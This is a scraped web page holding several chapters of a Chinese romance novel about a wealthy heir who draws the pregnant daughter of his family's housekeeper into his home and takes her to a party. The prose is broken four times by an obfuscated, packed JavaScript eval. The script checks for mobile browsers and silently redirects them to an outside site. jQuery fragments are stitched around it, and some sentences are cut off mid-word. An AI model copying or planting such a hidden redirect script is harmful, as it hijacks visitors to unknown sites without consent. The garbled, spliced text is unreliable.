;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566181|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈和易正玩弄手里的塔罗牌,直直的看着抽到的正位上帝,是阳光普照的意义。也许别人会因为这个占卜而沾沾自喜,但他觉得做这一个测试只是无聊之举,塔罗牌也不过是哄骗小女孩的把戏罢了。
赵持带的女伴在帮他分析,他礼貌笑笑,不置可否。
因为……
他的上帝,明明是他自己啊。
“比如说,f1赛事法拉利赛车的控股权。”赵持让女伴离开,放出狠话,“真要去伦敦街头流浪,不参加兄弟的生日宴?”
“流浪”是假,试探是真。
沈和易只是想看看他兄弟的底线在哪,没想到这样没下线。他不想再装,直截了当开口,“我不喜欢那种的。”
虽没指名道姓,但明眼人一听就听个明白。赵持自知事情暴露,挑明道,“晴瑶是真的喜欢你,和易哥哥你真不是人。”
沈和易突然想从塔罗牌抽出一张恶魔塞进他手里。
赵持继续说,“行了行了,真没意思,不过你既然发现了话,我股份也不给你了。哦对。”他话锋一转,“你到底喜欢什么样的啊?兄弟我不是心存愧疚,为你广撒网,结果你还爱搭不理……还说像猫,哪有人长的像猫……”
像猫……
一句话唤醒了沈和易的思绪,一闪而过的舒浅叫了一声,确实像极了猫。
要说喜欢,真算不上。
他突然睁大眼睛,拍了拍脑袋。
哦……
怎么忘了正事?去看看小猫流浪去了哪里,在哪个地点哭?
—
舒浅尚在惊悚之中无法自拔,前不久,她拿着住房补贴去找了中介看房。
起初还好好的,看了几间房都觉得还不错。可看到最后一间房的时候,中介突然拉住她的手肘,让她进来再看看。
她瞬间脊背开始紧绷,前不久的女性看房受害的新闻一下子往脑海里钻,吓得她立马摇头,开始挣扎。
女人的力气哪里抵得过男人,就要被拽进房里,她就要哭出声,幸好不远处传来脚步声,中介因为害怕,放开了手。
现在,她心有余悸的蹲在路灯下,还感到后背发麻。
坏人……舒浅反应过来,她遇到坏人了。
她要去警察局报警,穿过这个马路,去对面的警察局报警!
可是房子又没有着落了,明明第二间房如此的合适。地点啊,价钱啊,都是一比一的划算。
可为什么?
为什么中介要这样。
舒浅又开始愤恨,又开始懊恼。
“舒浅,你怎么在这?”
一辆迈巴赫停在她的面前,男人下车,阴影一闪而过于她的面颊,贴心的询问。
“我……”看见熟悉的身影,恐惧化为惊喜,“沈和易……?”
在最脆弱的时刻,她将毫无保留的相信他,“我好像遇到坏人了……”
“坏人?哪里有坏人?”
他取出一张湿纸巾递到她的面前,看她佛过眼角的泪意,轻声道,“舒浅,你放心,我沈和易最讨厌坏人了。”
他听着舒浅娓娓道来,不由自主的拳头堪握。这让舒浅觉得,他真是个好人。自己肯定不能依靠着肚中的孩子向他索取什么。
“这样吧,舒浅,你先上来。”
沈和易拢住她单薄的肩胛骨,送入车内,“晚上天凉,冻坏了就不好了啊。”
“你刚才说什么?没有地方住?”他将车门关闭,张嘴开口道,“舒浅,你怎么会没有地方住呢?”
11.第 11 章
沈和易露出十分不解的表情。
明明他的资产这么多,房产那么多,舒浅只要想要房,随随便便都可以给她一套。换句话说,如果那些房子都不合乎她心意的话,他也完完全全可以购买一套崭新的给她,根本不算什么事。
可她为什么要说这些,还当着他面说?看着她略带困惑而垂涎欲滴的泪光,沈和易觉得,她可能在试探他!
毕竟她最喜欢骗人了。
不知道舒浅最终目的想要什么,但沈和易还是想要请君入瓮,所以很平淡的将这句话吐出,吓了舒浅一跳。
她全身上下写满了抗拒,摇着脑袋,“不……我不是这个意思。”
什么跟什么啊?
自己怎么能住他的房子。
况且,在一个屋檐下住着,不是会让心中的恐惧更胜一筹吗?她肯定不能答应的啊。
沈和易像是看透她心里的想法,笑着安慰说,“舒浅,别担心,那房子就是单给你一个人的。回来过户给你,你想怎么住就怎么住,想怎么用就怎么用……如果这还让你担心的话……”
他停顿片刻,似乎真的在思考办法。
一连串的话语接连不断,舒浅一时间感到脑袋有些发懵。
自己只是随口提及一下当前的困境,没想到对方连带着要赠送她一套房产。谁不知道沈和易出手阔绰,随随便便买的房小说也有上千万,如果她真的接受,她怎么可能偿还的起啊?
小小的震惊占据大脑,本能让她抓住他的手指,使劲摇头,“不行,我怎么能住你的房子呢?”
想想前不久因为送礼物的事对他产生矛盾,舒浅不由自主的认为自己太不应该。明明他人这么好,万般事情都为她考虑周全。
沈和易低头看了眼舒浅握着的地方,没太在意,准备让她握着。想了一下,确实觉得有几分不妥。
跟他睡一觉,房子还送她一套,明摆着让她逃离他的掌控。
怎么能什么好事都给她占呢?
幸好她没答应,不然他真不知道该怎么将这个话题圆回来。他看了一眼舒浅因为反应过来,而慌乱松开的手指,笑了一声,“舒浅,我知道这件事该怎么解决了。”
“你回去住不就行了?”
“嗯?”舒浅一时间呆在原地。
反应过来,就看见沈和易拨通了个电话,并且径直将舒浅的处境说了个遍。
对方嗯了几声,好像是唐太太的声音!
甚至开的免提,每一次应答都像砸进舒浅的心里。
“好像得给舒浅安排一间房啊。”
沈和易说完,很直接的提出自己的要求。
对方立马说:“行呀,没事呀,反正家里房子多呀。唉,你为什么最近和舒浅关系这么好呀?”
舒浅全程怔在那里。
怎么事情进展成这样了?
而沈和易还在应,当做没听见最后一句话开始说:“那我回来就带她回去了。”
说完话,他挂断电话,将手机扔在旁边,像是邀功地说,“舒浅,这样不就好了?”
这样所有人都知道舒浅要在他家住了,在所有人的目光下,舒浅怎么跑?
根本跑不了呀。
看着舒浅不可思议的表情,他故意道,“舒浅,我是不是很好?”
……
真是乱了套了。
傍晚,舒浅洗完澡躺在自己的床上,将头埋进被子里,充斥着沐浴露的清香,但她全程心不在焉。
事情怎么会朝着莫名其妙的结局进展?
此时此刻,她正躺在沈和易的家里。
房间是新收拾的,她一个人一个房间。
就连水果也是由李妈洗净,唐太太端了过来的。这不是倒反天罡,显得她是这家的女主人吗?
舒浅揉揉脑袋,感到心如乱麻。
心里想着,现阶段,还是先将孩子打去比较好。
住房补贴的一千块已经入账,届时再等一个月,另外一千就可以收入囊中。再加上一个月的勤工俭学,不说多的,三千块钱肯定是能攒到的。
其实舒浅原本也是有钱的。
要不是治疗母亲病情的药这么贵,她现在也不用考虑这么多。
夜长梦多的肚子就像一个定时炸弹,太让人害怕了。
突然听见推门的声音。
舒浅连忙将脑袋从被窝里钻出来,看见母亲的身影。
她鲜少露出这么不悦的神情,往前走了一步,将门关闭,舒浅也随即坐了起来。
【这件事你怎么能麻烦唐太太的儿子呢?】
陈素英无法用语调表达内心的愤怒,转而用手指的速度书写内心。
在这件事上,舒浅确实不知道该如何作答。僵持了几秒,败下阵来,低头咬了咬嘴唇。
【你记住,帮你是情分,不帮是本分。一定要记住小少爷的好,听见没有?】
舒浅连忙点了点头。
—
时间过得很快,一溜烟,舒浅也在这住了一个多星期了。
从一开始的忐忑不安,再到现在的心境归于平静。因为她发现,沈和易大部分时间并不住在这。
正如他所说,他有很多房,可以做到随随便便给她一套,又何必屈膝于这一间小房间。他也许有自己璀璨的人生要过,那都是她想象不到的,毋庸置疑,两个人之间的分割线又在拉大。
唐太太平日里也会出去护肤做美容逛商场什么的,舒浅因为想在这里多做点事,所以平日里总是会和李妈撞上。
她嘴巴碎,闲不住,一来二去总是会聊上几句,以至于舒浅现在都不知道和李妈的关系到底是熟还是不熟。
这次,看见舒浅的身影,她将手里的东西放下,喊了声:“舒浅,快过来。”
神秘兮兮的,像是要跟她说什么大事。
舒浅也放下手里的碗筷,走了过去。
李妈掏出兜里的手机,点开相册,给她看了一张照片,“小浅啊,你上次不是打电话问我那个男生怎么样吗?李妈这不,图片给你带来咯。”
她笑着划拉手机,一张张图片显现,舒浅还在困惑自己什么时候问过。
“我都懂……”李妈尾音
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582842|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉长,露出意味不明的笑意,“小女孩家家的,比较害羞。问出那步,就已经是默许啦!”
舒浅这才想起来是上次沈和易送礼物,她不知道是谁,顺带着打电话问的。
起初就是想随便一问,排除个错误答案。没想到李妈却记在心里,把男方的照片都要来了。
还不少,看样子对方很用心,舒浅一时间不知道该如何作答。
“你也别发呆了,舒浅,快评价评价呀,这小伙子是不是很不错的。你看,表露诚心,把工资条都发来了。”
透明的工资条可作假不了。
被李妈这么吆喝,她的目光投了过去,不可避免的看见对方的长相。
他的面容平和,眼神清澈,有一种不加掩饰的坦诚。五官并不出众,但给人一种和谐而舒适的感觉。
“怎么样?是不是很好?”李妈拍了拍舒浅僵硬的脊背,“我上次拍了一张你的照片发过去,对方可是非常满意的哦!”
“啊?”舒浅的嘴角拉出一抹尴尬,抽抽了一下,随后惊讶道,“李妈,你什么时候拍了我的照片啊?”
“就……前几天。”她也记不太清,看舒浅表情不对,模棱俩可的回,“李妈这不是听你上次那么一问,想给你们连线一下嘛。虽然过程不对……但结局是对的啊。”她眼神飘渺不定,“这不连上了嘛……人还是好的。”
她忽而眼神定住,招呼旁边人过来,“唉,你叫大少爷过来看看,李妈给你找的人怎么样哦。”
舒浅的脸一瞬间抽搐的更加厉害,感到尴尬至极。
她怎么能料到沈和易会在这个时间点回来,还径直走了过来,站在她的旁边。
……
什么人都能指使他过来吗?
这个李妈真是太把自己当个人了。
沈和易内心充斥着不满,眼尾泛凉,低头看了眼照片,也没太放心上。要不是这件事与舒浅挂钩,他怎么会随意听她差遣?
但转念一想,过来也好,这样就知道如果舒浅没有他,未来会和什么人打交道。
这长相,比不过他,就连资产,他也力压他。还以为是什么厉害的人物,结果不比他万分。他从他的圈子里面随随便便抽出个人,都比这个人要厉害,更别说他自己了。
沈和易看完照片,感觉更加的自信,嘴角勾起满意的笑容,“这人,好像是挺好的哦。”
得到沈和易的默许,李妈放松下来,笑着对舒浅说,“你看,我就说嘛,小浅,你要不要试试看嘛,对方好像还真挺喜欢你的。”
“喜欢?”听见这个词,沈和易有点惊讶。后续却突然想通,舒浅长的这么好看,又这么会装,换成哪个男人不喜欢啊?
既然是所有男人都喜欢,那最终得到舒浅的,不就得获得她的青睐吗?
在一众男人中获得她的青睐确实有点难,但转念一想,让舒浅去跟不同的男人交往,他脱颖而出,不就容易多了吗?
是个人都不会做出错误的决定吧。
他感到自信满满,眯了眯眼睛,笑着说:“舒浅,你去和他谈个恋爱吧。”
12.第 12 章
“什么?”
舒浅不可思议听见的话,讷讷的看了沈和易一眼,回过头,低声喃喃道,“我怎么能和他谈恋爱啊。”
谈恋爱讲究你情我愿,沈和易胡扯八道这些,不是明摆着开她的玩笑吗?她又不傻。虽然明知是被他故意调戏着,还是老实的加了一句,“我又不喜欢他……”
“不喜欢?”沈和易点点头,笑了一声,明显对这个答案很满意。
虽然前不久已经想到了,倘若舒浅真的顺着他的要求,跑去和别人谈恋爱,他该怎么将其夺回来的招数。可现在想想完全是无稽之谈。
舒浅胆子很小的,却又聪明到极点,没过脑袋,都能说出来让他喜欢的答案。
既然已经得到答案,就没必要在此地过多停留,他得立马把她拉离开来,省的这个老妈子又要给她介绍新的人选。
想完后,他就很自然的把手搭在舒浅的肩膀上,搂了过来,吓了舒浅一跳,但他对此熟视无睹。
反而贴心的问她最近在这里过得怎么样?有没有什么亏待她的地方。
舒浅哪里敢答,明明一切的一切比预期强上好几倍。就这么说着没有没有,不自觉的被他拐到了旁边,突然间话锋一转:“舒浅,那你有没有喜欢的人?”
看舒浅这副紧张的神情,沈和易像是真觉得自己说错话了,连忙解释道,“别想多,舒浅,我只是问问。你看你长这么大了,又没有男朋友,难道不是心里有个忘不掉的人吗?”
他语气平和,笑容平淡,各方面趋向于平静,但舒浅莫名觉得自己肩膀上的力度在一点一点的抓紧,她很诚实的摇头,那份劲儿忽而一下又变缓,舒浅觉得应该是自己的错觉。
她怎么可能喜欢过别人呢?
从小到大,她甚至一开始都不知道男女情爱是什么。要不是同桌跟她说,那是一张情书,她还以为是班里的坏小孩要跟她上课传纸条说小话,违反班级纪律呢。
摇完头,发现一直没有声音,舒浅不可避免的偷偷看了他一眼,随后慌乱移开目光,只觉的耳朵红了。
她还以为沈和易在看别的地方,没看见她摇头的幅度,所以才没有答复,没想到结果吓了她一跳。
那双温润的眼睛正直勾勾的盯着她,一刻也没有停歇,以至于刚才撞个满着。
她很想挠挠耳朵,却又不敢,僵持了几下,也不清楚沈和易的真实想法,问这个干什么啊?
他手耷拉着也不松开,舒浅就想到了他压着她的肩胛骨,向前垂着的力道。不由自主,红润爬上了脸颊。
那还是第一次和一个异性贴的这样近,甚至连距离都变成负的了。
她小心翼翼地垂着脸,听见他的笑声,“那很好啊,舒浅。”
“下次你要开口告诉我。”
他终于将手指放下,舒浅得以喘气,就像搁浅上岸的鱼。下一秒,沦落至捕鱼人的手中,他的声音掷地有声。
“舒浅,接下来,就陪我去个地方吧。”
—
沈和易说的地方不是什么不入流的场所,而是赵持的生日聚会。
从上次赵持提了这件事,他就已经把舒浅当做他的备用女伴人选。
反正是个女人就行,谁不谁不重要。
况且高定礼服早就根据舒浅的身材打造完成,除了她那瘦小的身板,谁能穿的上?
倒也不是心疼制定礼服的价格,那点他还看不上。他只是不想让事情进展的太过于麻烦。
毕竟舒浅将近一个多月的伪装太让他不满,时至今日,还守口如瓶,装作那日之事从未发生。忍到今天,他忍无可忍,是时候该给舒浅找点麻烦,“提醒”她一下了。
所以在将礼服递交给舒浅的时候,她还有点恍惚,看了一眼礼服,手却没接,开口道,“怎么去的地方还要穿这个啊?”
“当然要穿啊,舒浅。”他很耐心的解释,“去聚会的女人都打扮的漂漂亮亮的,你肯定也需要啊。”
舒浅这才明白他口中的地点在哪,推脱着没接,“沈和易,你去找别人吧。我上次论坛讲座因为某些突发事件没去,辅导员已经很生气了,这次不能不去。”
沈和易突然想到那天是舒浅在楼道里哭的日子。因为以为是件小事,所以没过多追问哭泣的原因。没想到今日阴差阳错知晓原由,还真是一件不起眼的小事……
他表情平和到极点,将礼服扔进她的怀里,“我出去打个电话。”
舒浅的手指在礼服的材质上摩擦片刻后,觉得心如乱麻。
聚会上有谁,尚不可知。
只是万一遇到晴瑶以及她的朋友,她这几个月的伪装不就白费了吗?看沈和易现如今的平和模样,不像是知道真相。但万一晴瑶脑袋一抽抽,在他的面前,指出她的罪行,来个俩败俱伤,她跑也跑不掉。
那时候再给她做个全身检查什么的,不更得完蛋吗?
沈和易还对她这么好……
她不能不将心比心,推己及人的。
所以在沈和易出去打电话的这几分钟里,舒浅思考好对策,她准备先行离开。
她推开门,凑出个脑袋,在走廊里看了一圈,确定没人后,准备小跑出门。
边跑边在心里说:沈和易,对不起了。
……
沈和易刚把手机收回,就看见鬼鬼祟祟的舒浅。瞄了一眼,扬声道,“舒浅,是礼服有不合身的地方吗?”
迎面撞个满怀的舒浅满脸忐忑不安,思绪飘渺不定。明明前不久,走廊还没有他的身影。怎么在一瞬间,他就“蹦”了出来啊!
舒浅感到十分不解,摇了摇头,“我还没有试呢。”
“为什么不试试呢?”他朝前走了一步。
他当然知道舒浅想逃,并且现在还在思考着如何逃跑的戏码。他只是故意装作不知情,实际上看的清清楚楚,明明白白。
答应也是她亲口答应的,哪能让她出尔反尔呢?
换句话说,舒浅住进这间房,就是她人生中做的最错误的决定,因为他就不会放过她。
舒浅,跑啊。
他笑着说,“是款式不喜欢吗?没关系的,舒浅,我们还可以再挑。你喜欢什么样的都有,过来点,我们看看。太冷了吗?你怎么手指有点抖?”
—
舒浅哪里能料到沈和易是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600664|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出去给她辅导员打电话了。
前不久,辅导员的信息还停留在屏幕页面中:舒浅,真对不起啊。因为上次那件事对你态度不好。其实参不参加论坛就是件很小的事情。请不请假也无所谓。
反正都有办法解决。
比起这个,更让他震惊的是沈和易会亲自给他打电话。那个前不久刚捐了一个慈善机构的人。
辅导员突然想到张依依口中,舒浅那有钱的男朋友,忽而怔住。
难不成是沈和易啊?
这怎么可能……
他还在打字:【听说十九栋少了几间房,学校给你们这些校外住的人员安排了住房补贴?】
舒浅回了个嗯。
【如果你还需要的话,我可以去十八栋帮你看看有没有空余房间。女孩子嘛,租房总是不太安全。】实际就是客套话,因为辅导员觉得舒浅攀上高枝,肯定不会回来住校。
没想到舒浅应了下来,回:【真的吗?谢谢导员。】
只要这个月过去,该攒的钱攒到,离开这里,她就可以摆脱沉重的枷锁,过自己的人生了。
……
门外有人敲门,传出沈和易淡薄的声音:“舒浅,开门,化妆师来了。”
舒浅连忙跑去开门。
沈和易低头扫了她面色极佳的脸蛋,不知道因为什么事这么开心。目光打量了下,开口道:“舒浅,你怎么衣服还没有换?”
舒浅还想着挣扎一下,抿了抿嘴巴,“我可以不……”
知道她要说什么,沈和易出言打断:“哦,我知道了,舒浅你是想放我们所有人的鸽子吗?”
“他们大老远跑来,可能因为你的一个举动挣不到钱。当然,也没事。打工人嘛。”他故作难为的摇摇头,一副惋惜模样招手让他们走,“不过也可以,毕竟舒浅不想,我也不会强求。”
明明他才是他们的雇主,现在倒显得是舒浅的不是了。
她共情能力强,感同身受到自己身上,心脏一下子软了下来,抬手让他们别离开,解释道,“我不是这个意思……”
舒浅叹了口气,认命似的说道,“我只是觉得我应该先换好衣服再化妆,这样步骤才对。”
他终于露出温和的笑意,赞许舒浅说的话,“我觉得也是。”
……
这一场准备工作持续了二个多小时,舒浅穿上礼服还有些不自然。
在镜子面前照了照,第一次看见这样的自己,还觉得非常不好意思。
听说怀孕期间容易有胀气,在她瘦小的身板上更是发挥的淋漓尽致。但也就好在瘦,旁人基本上不会注意到这个变化。
从房间里走出,看见沈和易放下手机,看了她一眼。
舒浅就是很漂亮啊。平日里只是不怎么打扮,现在只打扮一下,就可以艳压很多的人。现在这样,站在他旁边绰绰有余,也不会让他丢了面子。
他觉得自己的眼光好到极致。
舒浅被他看的很不自然,用手摸了摸另外一个胳膊,垂着眼睛,“我们什么时候走呀?”
“不急。”他颇有礼貌的笑,“舒浅,你肚子是不是变大了?”
13.第 13 章
“啊……”
舒浅的大脑一下子处于宕机状态,就连手指也跟着僵硬,仿佛被冰封一般。
此时此刻,她的心中满是懊恼情绪。
本以为遮的已经够严实,没想到还是被他轻而易举看出来。
彼时,她就站在原地,无情的被他的目光扫视着,快要坚持不住了。
要不就说出口吧,反正她也不善于撒谎,这件小秘密堵在心口处,让她无时无刻都睡不安宁,担惊受怕。
她缓慢的吸了一口气,准备张口。
沈和易开口道:“舒浅,你是变胖了吗?”
也在这里住了一个多星期,平日荤素均衡,营养搭配,长胖也是情有可原。
回想起和她在床上缠绵的时刻,平坦小腹上的每一次呼吸,都可以看见微微隆起的肋骨。做着也不舒服啊。
他轻微的皱了皱眉头。
这么想,他觉得舒浅现在还是太瘦,得再多吃点。
刚呼之欲出的语言堵在喉咙,舒浅再一次呆住了。她立马反应过来,顺着沈和易的话说:“应该吧……我没称体重,不知道……”
沈和易笑了。
这种事情还需要称体重?他一看不就看出来了?
毕竟舒浅裸/体得样子可是只有他看过,说不定自己都没有怎么欣赏过呢。
他眉宇松开,笑着说:“舒浅,别纠结这个事了。变胖挺好的啊,你又不能再瘦了。”
……
这辆行驶的车在二十分钟后抵达目的地。
迎面可见宽敞的别墅,到处透漏着纸醉金迷。
沈和易将车停下就有专业人员开走,舒浅跟在他后面,看见有人将目光投射到她身上,不由自主的放慢步伐,想离他远一点。
虽然不明白沈和易为何要带她出席宴会,但想到母亲所说的话“要记住别人的好”,舒浅还是决定硬着头皮,陪他走完这一程。
只不过这压力着实超出她的想象啊……
迎面走过来一个五官深邃的女人捏着香槟酒要和沈和易碰杯,视线悄无声息的飘到舒浅身上,又漫不经心的飘了回来,用着不知道哪国的语言开始交谈起来。
舒浅全程听不懂,所以大脑放空,向周围看去。
露天烧烤正在火热的进行,旁边的游泳池也被灯光照射的波光粼粼,有一些比基尼美女在里面游泳,到处洋溢着自由奔放的气息,和她格格不入。
舒浅收回视线,感到有点反胃。因为知道是怀孕造成的,所以不敢发出声响,压着嗓子,吞了几下口水。
“舒浅?”沈和易注意到舒浅还在他的旁边,除了诧异还是诧异。
Monica是他在意大利认识的好友,两人刚谈了会公事,少说也有二十分钟。他没顾上舒浅,本质认为她会给自己找点事去做,毕竟他看见的女人都是这样。
可她哪也没去,就这么静静站在他的身后,像一条尾巴。
注意到沈和易回过头,还错愕失惊的抬起眼睛,“我需要干什么吗?”
“不需要啊,舒浅。”他有些意外的挑挑眉,“你只需要吃吃喝喝玩玩就行,说到底,你还是客人呢?”
他温柔的目光看着她,只是底色有点不屑一顾。
这种自主就能进行的简单事情还要他亲自开口她才敢去做,沈和易已经不明白舒浅是如何长这么大的了。
他接下来打算去二楼找赵持,而晴瑶肯定也会来。虽然上次那件事他没追究,但不代表这件事他已经遗忘。
至今为止他还清晰的记得这个笨蛋舒浅将酒杯递给他时那怯生生的模样。她温和的眼神向下,目光不敢与他对撞,是个人都觉得有鬼吧。
不过他那天心情好,饶有兴致的想看看这个女人的葫芦里到底卖的是什么药,所以很轻松的就将那杯酒水替换到旁边,指了指,“要不要来一杯?”
以其人之道,还治其人之身。
就这样,那杯舒浅送过来的酒,最终喝进了舒浅的肚子里。
结果果真……
出乎他的意料。
是真记不得还是假记不得啊?
他轻蔑的笑,捕捉到晴瑶的身影,佯装礼貌的为她介绍起宴会上的各项安排,“那边是烧烤区,那边是游泳区,那边是拍照打卡区。舒浅,你慢慢玩,想怎么玩都可以。我先要上去和我的朋友叙叙旧,你一个人能行吗?如果遇到任何事情,直接报我名字就行,他们肯定不会为难你的。”
舒浅很认真的听完这一切,看着这个英俊的男人为她安排好一切,随后离开,越来越感到心中逐渐温暖。
沈和易,真的好好啊……
—
沈和易刚走,那个鼻梁高挺的女人就用中文叫了舒浅的名。
舒浅停住脚步,怔住片刻。
她无所谓的摊摊手,解释道,“如你所见,我确实会说中文。”
毕竟想在中国发展,也不能一直说意大利语。之所以故意用意大利语言交谈,是想在他面前体现出独特性。
但现在想想,是没必要。
毕竟看起来,沈和易对她,比对任何人还要独特。这勾起了她的兴趣,自然不想伪装自己会说中文的事实。
有服务员端着多杯香槟行走于人群中,女人看见,随便用手指勾了一杯下来,递到舒浅对面,“要认识一下吗?我叫Monica,是沈和易在意大利认识的朋友。你是……”她停顿片刻,不可思议的道,“女朋友?”
不过这一谣言很快不攻而破,舒浅诚实的回,“不是。”
“那是……”不是女朋友还能是什么?她的想法逐渐往不好的一面发展。
还好舒浅也不想隐瞒身份来遮掩住自己的自尊心,毕竟她从一开始就意识到自己和沈和易的差距。
“我妈妈是他家的保姆。”
“哦……?”Monica反应过来,心中既惊讶又困惑。惊讶于前不久沈和易对她的关心,困惑于以他的性格,是绝对不会带她踏足此地。
这可不就是扶贫吗?
没得到想要的答案,Monica礼貌笑笑,“行吧,那你好好玩,我先走了。”
舒浅嗯了声,因为没什么胃口,所以只随便吃了点蛋糕,便坐在偏僻角落里。
她打开手机,看了眼时间。如果十点结束派对,只需要再呆二小时就可以和沈和易回家了。
时间有点久,她叹了口气,将手机屏幕关闭,兀自托托下巴。
也不知道是不是孕期的原因,她居然在这嘈杂的地点,闭上眼睛,睡着了。
再次睁眼是被交谈嬉戏声吵醒。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612627|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>舒浅睁开困顿的双眼,朦胧的扫视四周。正前方不远处搭了一桌纸牌游戏,不过归根结底还是为喝酒增加些乐趣。
“UNO!赢了,都给我喝!”
晴瑶站起来,为她们满上一杯,感到神采飞扬。
舒浅连忙捂住脸蛋,感到十分恐慌。
自己已经很小心的躲在角落隐藏身影,怎么这都能冤家路窄的碰上啊?
还好,还好,趁晴瑶现在没有发现她。她连忙将身体背过去,挪着凳子,往角落里去了去,就像是面壁思过……
几轮过去,桌上酒水已经见底。
一女孩喝的满脸红晕,摇了摇手,主动退下,“不喝了,不喝了,不然明天又要头疼。”
如此这般,场上空缺下一个位置。
晴瑶环顾四周,指了指在场的几个男人,叫他们顶上。
谁知他们说才不愿意欺负女人,不愿意上桌玩。
说到底还是害怕真玩了输了面子。
晴瑶见叫不动,只好重新坐着。嘴里念叨着:“现在这个人数也可以玩。”
只是多少没刚才有意思。
不知道谁指了指拐角落,扬声道,“那里不是有个女生,叫她来玩呗。”
反正能参加赵持的生日宴会,非富即贵。也能用游戏增进点感情,带动点投资。
有一些人其实早就看见独自坐着的舒浅,以为她是个喜欢“归园田居”的“隐士”,所以不敢多言。
这次人云亦云,勾起很多人的兴趣。
一场“讨伐”舒浅的大军兴起了。
而她还在低着头,心里默念:看不见我,看不见我……
直到一道暧昧的触碰,让她的脊背瞬间开始僵硬住。
“小姐姐,我们那边有一场桌游游戏,还缺一个人,你要不要来玩?”
是一个小男生的声音,所以舒浅抬了下眼。随后立马将脑袋转了回来,捂着肚子,开始拒绝,“不不不不要,我肚子疼。”
人在紧张时候说话不过大脑,结巴的不像话。
小男生挠了挠额头,觉得舒浅此行为实在奇怪,但是不好意思多说什么。对着后面人道,“好像不行,她有点不舒服。”
晴瑶看着舒浅捂着肚子,微微弓起的背。
虽然没有看见正脸,但是莫名有阵熟悉感一闪而过。
声音也像一个人……
她的眼睛打量了下舒浅所穿的礼服,收回不切实际的想法,告诉自己,不可能的。
应该是实打实的大小姐,才这么无法无天,摆所有人的脸色看吧。
晴瑶笑着说,“对不起,那打扰你休息啦。”她拉着袁又驰离开。
……
“真可惜,她不愿意啊。”
重新回到桌旁,晴瑶佯装惋惜的摇了摇头,“那我问问赵持哥来不来吧。”
正好可以看见沈和易。
周围人点点头,都知道她和赵持关系不一般。
当然晴瑶自己也知道。
她只是装傻,仗着赵持的喜欢无法无天,模棱俩可的用哥妹相称。
虽然和赵持在一起,也是衣食无忧,但是明显,沈和易更好啊。
花花公子的赵持和温润如玉的沈和易相比。
她还是更喜欢沈和易点。
14.第 14 章
舒浅已经不知道该用什么样的语言来形容此刻的心情,只知道瞬间失去表情管理,面颊僵硬的厉害。
种种难堪的画面浮现在眼前,她手指蜷缩紧,想找个地缝钻进去。
前不久跟晴瑶所说的话,也不知道沈和易有没有听见。
胃也开始反胃的厉害。
她只能尽可能的咬紧牙关,不让自己发出奇怪的声音。
这些别扭情绪下的小动作在沈和易面前一览无余,瞧见她依旧想瞒的模样,他心下涌现出几丝不满。
当然晴瑶的内心也是波涛汹涌。
她只是想在舒浅面前耀武扬威,并不想再沈和易面前如此。
舒浅的话提醒了她。
这件事本质上还是她的错,狗急了会跳墙,兔子急了也会咬人。如果把舒浅逼到死胡同,很难保她不会鱼死网破。
到时候殃及的不只是她自己,还有她。
灯光照射下的四个人,心中各怀鬼胎。
晴瑶当机立断,脑袋做出决定,她得帮舒浅。
至少在现如今的处境下,她俩是一根绳子上的蚂蚱。一荣俱荣,一损俱损。
于是她立马开口,“什么送酒啊,舒浅那天是我邀请去的,怎么可能送酒啊?”
她瞥了眼舒浅,给予她暗示。舒浅顿时心领神会的接受了,点了点头,顺着晴瑶的话,嗯了一声。
“晴瑶,你什么时间结交了这个朋友,我怎么不知道?”全场最迷糊的就是赵持,他丈二和尚,摸不着头脑,感到十分困惑,“这人沈和易也认识,我是喝酒喝断片了,忘了些什么吗?”
明明看一眼美女长相过目不忘,现如今惨遭翻车?赵持抬眼看了眼从始至终没发声的沈和易,加剧了这种感觉。
真翻车了……
“单我认识,你不认识的人多了去了。”晴瑶还在嘴硬中。
“好像是哦。”赵持自己给自己说服了,恍然大悟般问了句,“那既然这样,我们还玩吗?”
这个话题在此终结,两人喘了口气。
沈和易却不合时宜的开口说话,“刚刚赵持说的什么送酒?”
“没什么吧……”晴瑶尴尬笑,回赵持的话,“当然玩呀,我们还站在这里干什么?”
